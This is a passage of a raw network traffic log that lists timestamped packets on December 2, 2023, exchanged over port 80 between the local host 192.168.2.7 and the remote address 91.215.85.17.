Dec 2, 2023 18:01:43.872301102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872328997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.872347116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872349024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.872355938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872363091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872370958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872406006 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.872423887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.872426033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872482061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872492075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872498989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872512102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872668982 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.872694969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872703075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872709036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872715950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872723103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872730017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872756958 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.872781038 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.872781992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872792006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.872853041 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.873272896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873281956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873289108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873301983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873471022 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.873472929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873481989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873490095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873496056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873502970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873509884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873517990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873524904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873554945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.873554945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.873554945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.873581886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873589993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873596907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873604059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873611927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873640060 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.873642921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873651981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873711109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.873711109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.873728037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873735905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873743057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873823881 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.873851061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873859882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873867035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873878956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873886108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873893023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873919010 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.873945951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873955011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873963118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.873965025 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874000072 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874000072 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874083042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874090910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874097109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874110937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874118090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874125004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874161005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874169111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874175072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874182940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874188900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874190092 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874190092 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874197960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874236107 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874236107 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874331951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874341011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874347925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874361038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874366999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874403000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874406099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874411106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874418974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874428034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874433994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874449015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874454975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874514103 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874515057 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874515057 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874537945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874546051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874552965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874560118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874567986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874573946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874587059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874593973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874619007 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874619007 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874646902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874650955 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874655962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874663115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874675989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874684095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874690056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874697924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874706984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874715090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874722958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874731064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874737978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874761105 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874761105 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874844074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874852896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874860048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874866962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874874115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874881983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874893904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874902010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874944925 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874944925 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.874970913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874978065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874985933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.874994993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875001907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875009060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875015974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875026941 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875031948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875102997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875102997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875122070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875148058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875157118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875164032 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875165939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875174046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875180960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875205994 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875231028 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875369072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875376940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875384092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875432968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875438929 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875442028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875449896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875463009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875469923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875478983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875492096 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875529051 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875543118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875550985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875557899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875570059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875576973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875583887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875592947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875606060 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875607014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875617027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875638962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875638962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875643015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875653028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875659943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875679016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875686884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875694036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875821114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875828981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875835896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875848055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875854015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875860929 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875860929 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875869989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875878096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875883102 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875888109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875895977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875902891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875915051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875921965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875922918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875940084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875947952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875955105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875962973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.875979900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.875979900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.876029015 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.876055002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876064062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876071930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876087904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876132965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.876133919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876144886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876207113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876215935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876223087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876223087 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.876230001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876236916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876260996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.876303911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.876331091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876341105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876348972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876355886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876379013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.876395941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876404047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876411915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876418114 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.876420021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876430035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876441002 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.876492023 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.876513958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876522064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876529932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876540899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876578093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.876594067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876601934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876930952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876939058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876945972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876952887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876959085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876965046 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.876967907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876983881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876991987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.876998901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877008915 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877008915 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877032042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877037048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877046108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877053022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877060890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877068996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877082109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877083063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877089977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877099037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877146959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877146959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877171040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877178907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877186060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877192974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877230883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877230883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877271891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877279997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877285957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877293110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877300024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877307892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877338886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877338886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877361059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877368927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877377033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877391100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877417088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877434969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877448082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877456903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877515078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877522945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877530098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877542973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877551079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877572060 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877572060 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877588034 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877600908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877609015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877615929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877657890 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877679110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877687931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877695084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877701998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877708912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877716064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877742052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877744913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877751112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877767086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877769947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877804041 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.877964020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877973080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877979040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877990961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.877998114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878004074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878010988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878017902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878025055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878032923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878046036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878052950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878060102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878067017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878079891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878083944 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878084898 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878084898 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878087044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878098011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878112078 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878129005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878137112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878144026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878156900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878164053 CET	80	49713	91.215.85.17	192.168.2.7
